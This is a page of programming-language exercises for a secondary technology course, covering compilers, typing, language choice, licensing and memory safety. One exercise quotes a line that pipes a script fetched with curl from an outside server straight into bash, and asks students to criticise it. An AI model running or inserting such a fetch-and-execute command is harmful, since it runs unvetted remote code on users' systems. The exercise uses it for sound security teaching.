Back to homeTechnology and Engineering I · 1st Bach. Science · Change subject
Start for free
Notes

Exercises: Programming languages

Practice★☆☆
Explain in your own words what a program is and what an algorithm is, and give an example of an everyday 'algorithm' (a recipe, directions to your house, etc.)…

Explain in your own words what a program is and what an algorithm is, and give an example of an everyday 'algorithm' (a recipe, directions to your house, etc.) identifying its steps.

Solve
Practice★☆☆
A natural language (such as English or Spanish) allows ambiguous sentences, but a programming language does not. Explain what this means and why it is essential for…

A natural language (such as English or Spanish) allows ambiguous sentences, but a programming language does not. Explain what this means and why it is essential for program instructions to have only one possible interpretation.

Solve
Practice★☆☆
The figure shows the chain that converts what a programmer writes into something the computer can execute, but the central element is covered with a question mark, as…

The figure shows the chain that converts what a programmer writes into something the computer can execute, but the central element is covered with a question mark, as shown in the figure.

Source code written by the programmer ? Executable program executed by the machine

Indicate which element is missing from the chain, explain which two types of tools can occupy that place (compiler and interpreter), and describe how they differ.

Solve
Practice★☆☆
Explain what the syntax of a programming language is and why a single missing parenthesis prevents a program from running, whereas a spelling mistake in written text…

Explain what the syntax of a programming language is and why a single missing parenthesis prevents a program from running, whereas a spelling mistake in written text does not prevent it from being understood.

Solve
Practice★☆☆
What is an integrated development environment (IDE)? Name two features it offers to a programmer (syntax highlighting, error detection while typing, integrated…

What is an integrated development environment (IDE)? Name two features it offers to a programmer (syntax highlighting, error detection while typing, integrated execution) and explain each one in a single sentence.

Solve
Practice★☆☆
Compare block-based programming (such as Scratch) with text-based programming: give one advantage of each approach for learning and one reason why large projects end up…

Compare block-based programming (such as Scratch) with text-based programming: give one advantage of each approach for learning and one reason why large projects end up being written in text.

Solve
Practice★☆☆
Explain what the source code of a program is, who writes it, and what needs to happen to it before the computer can execute it (translating it into machine code).

Explain what the source code of a program is, who writes it, and what needs to happen to it before the computer can execute it (translating it into machine code).

Solve
Practice★☆☆
Name three different programming languages and a typical application or field for each one (web pages, data analysis, video games, systems, apps, etc.).

Name three different programming languages and a typical application or field for each one (web pages, data analysis, video games, systems, apps, etc.).

Solve
Practice★★☆
Explain the difference between a compiled language and an interpreted language: what happens to the source code in each case, when errors are detected, and what the end…

Explain the difference between a compiled language and an interpreted language: what happens to the source code in each case, when errors are detected, and what the end user needs in order to run the program. Give an example of a language of each type.

Solve
Practice★★☆
Languages are also grouped by paradigms (imperative, object-oriented, functional, etc.). Briefly explain what object-oriented programming consists of and reason why it…

Languages are also grouped by paradigms (imperative, object-oriented, functional, etc.). Briefly explain what object-oriented programming consists of and reason why it is useful when a program models real-world entities (students, accounts, vehicles, etc.).

Solve
Practice★★☆
Your class needs to choose a language to develop a small book club management application. Name and explain three language features you would evaluate before deciding…

Your class needs to choose a language to develop a small book club management application. Name and explain three language features you would evaluate before deciding (ease of learning, available libraries, community, performance, target platform, etc.) and justify which one you would prioritise in this specific case.

Solve
Practice★★☆
With a compiled language, an executable is generated; with an interpreted one, the interpreter must be installed. Analyse the difference for the end user of each program…

With a compiled language, an executable is generated; with an interpreted one, the interpreter must be installed. Analyse the difference for the end user of each program (what must be installed, on which systems it will run) and the difference for the developer (write-test cycle).

Solve
Practice★★☆
Libraries are collections of pre-written code that a program can use. Explain why "not reinventing the wheel" is good practice, giving an example (graphics library,…

Libraries are collections of pre-written code that a program can use. Explain why "not reinventing the wheel" is good practice, giving an example (graphics library, database connection library), and state one precaution to take when using third-party libraries.

Solve
Practice★★☆
In some languages, adding a number to a string produces an error before running the program; in others, the error appears only when that line is executed. Explain what…

In some languages, adding a number to a string produces an error before running the program; in others, the error appears only when that line is executed. Explain what typing (static or dynamic) is in a language and what advantage there is in detecting these errors as early as possible.

Solve
Practice★★☆
HTML structures web page content, but it is not considered a complete programming language. Explain the difference between a markup language and a programming language…

HTML structures web page content, but it is not considered a complete programming language. Explain the difference between a markup language and a programming language (can decisions and repetitions be expressed?) and state which language usually accompanies HTML to provide the logic.

Solve
Practice★★☆
Choose and justify a language for each project: (a) analysing the grades of the entire school and generating graphs, (b) a 3D video game with high performance…

Choose and justify a language for each project: (a) analysing the grades of the entire school and generating graphs, (b) a 3D video game with high performance requirements, and (c) an interactive web page that runs in the browser. State which criterion was most important in each choice.

Solve
Practice★★★
The binary search algorithm is implemented to find a value in a sorted list of 1 000 000 integers in two different languages: in Python it takes 12,4 ms and in C it…

The binary search algorithm is implemented to find a value in a sorted list of 1 000 000 integers in two different languages: in Python it takes 12,4 ms and in C it takes 0,8 ms. A classmate claims: "Since it takes less time in C, the logic of the algorithm has changed and it now performs fewer comparisons than in Python." Reasonably refute this claim: a) Explain which elements of the program remain exactly the same in both versions and which ones change. b) Justify the reason for the time difference if the number of logical comparisons is identical. c) Based on this case, argue why it is said that learning to program consists of learning to think and not of mastering a specific language.

Solve
Practice★★★
An interpreted high-level language is usually more convenient to write but slower to run than a compiled low-level language. Analyse this trade-off and decide what type…

An interpreted high-level language is usually more convenient to write but slower to run than a compiled low-level language. Analyse this trade-off and decide what type of language you would choose for: (a) an airbag controller, (b) an app prototype to test an idea, (c) a video game with demanding graphics. Justify each decision.

Solve
Practice★★★
A startup is designing an application to manage weather stations. The team is hesitating between two technical options for its backend: Option A, using a proprietary…

A startup is designing an application to manage weather stations. The team is hesitating between two technical options for its backend: Option A, using a proprietary platform and language whose license costs €450 per year per developer, with closed technical support; or Option B, using an open-source language and tools with an open-source license and an active community. Analyze the situation: a) If the provider of Option A triples the license price or is acquired by a competitor that discontinues the product, predict what technical options the company would have left and what impact it would suffer. b) Justify two technical and security advantages that Option B provides over Option A when a critical flaw is detected in a library. c) In which specific case could taking on the dependency on the proprietary platform be justified?

Solve
Practice★★★
An underwater robotics company is developing an autonomous exploration vehicle. The system consists of two modules: 1) Thruster control and gyroscopic stabilization,…

An underwater robotics company is developing an autonomous exploration vehicle. The system consists of two modules: 1) Thruster control and gyroscopic stabilization, which must sample sensors and correct trajectory every 2,5 ms with strict critical latency. 2) User interface and statistical analysis at the marine base, where scientists process images and test visual filters interactively. The technical lead proposes programming both modules exclusively in Python to unify the project. a) Critically evaluate this proposal by predicting what bottlenecks will arise in the stabilization module. b) Explain why programming the base station in C or C++ would not be an efficient decision in terms of productivity either. c) Design a solution by justifying what type of language you would assign to each module to resolve the conflict between execution speed and ease of development.

Solve
Practice★★★
An educational institution is renewing the equipment in its Technology classroom and is evaluating two options to program the microcontrollers for its projects:…

An educational institution is renewing the equipment in its Technology classroom and is evaluating two options to program the microcontrollers for its projects: Environment A, proprietary commercial software with a free license for two years, but closed-source and only compatible with sensors of its own brand; and Environment B, an open-source toolchain (free compiler and open libraries) compatible with multiple boards on the market. a) Predict what economic and technical consequences the school will face in the third year if the vendor of Environment A changes its pricing policy or discontinues support for older models. b) Justify what learning and adaptation possibilities Environment B offers so that students can study how the code works internally or connect obsolete sensors. c) From the perspective of public spending and technological sovereignty, defend which of the two options should be chosen.

Solve
Practice★★★
A development team is designing an environmental monitoring application and is analyzing how to distribute it across three devices: Device A (cloud server with an x86_64…

A development team is designing an environmental monitoring application and is analyzing how to distribute it across three devices: Device A (cloud server with an x86_64 processor and Linux), Device B (field tablet with an ARM64 processor and Android), and Device C (marine buoy with an 8-bit microcontroller, 16 KB of RAM, and no operating system). The team decides to compile the code into an intermediate format (bytecode) that runs on a virtual machine. a) Explain why this approach allows executing exactly the same binary file on A and B without needing to recompile for each processor. b) Predict what insurmountable problem will occur when trying to run that program on Device C, justifying your answer based on the requirements of a virtual machine. c) Explain what cost in performance and memory consumption devices A and B take on in exchange for obtaining immediate portability.

Solve
Practice★★★
For a home automation lab assignment, a student needs to send email alerts in the event of a gas leak. Instead of programming it, they copy this line from an internet…

For a home automation lab assignment, a student needs to send email alerts in the event of a gas leak. Instead of programming it, they copy this line from an internet forum without reviewing its content: os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). The student claims: "The code works and the alert arrives, so the solution is completely valid and secure." a) Refute the student's claim by analyzing the severe security and code injection risks that this line introduces into the system and the local network. b) If the external server stops providing service weeks later, predict what difficulties the student will have in maintaining the system if they did not understand the original logic. c) Design a four-step protocol that a responsible programmer must follow before integrating third-party code or libraries into a technical project.

Solve
Practice★★★
In a surgical precision robotic arm, an early prototype programmed in C continuously allocates dynamic memory in each control cycle without releasing it properly (memory…

In a surgical precision robotic arm, an early prototype programmed in C continuously allocates dynamic memory in each control cycle without releasing it properly (memory leak), causing the system to slow down and eventually crash after several hours of continuous use. To fix this, a programmer proposes rewriting all the software in a language with automatic garbage collection and dynamic typing, claiming that this will make the system safe and free of memory errors. a) Explain what happens physically in RAM during a memory leak that causes the system to eventually crash. b) Refute the programmer's proposal: predict what critical risk the automatic garbage collector introduces into the robot's servomotors during a real-time operation. c) Justify what technical compromise solution (between manual management without guarantees and unpredictable automatic collection) would guarantee safety and deterministic response time.

Solve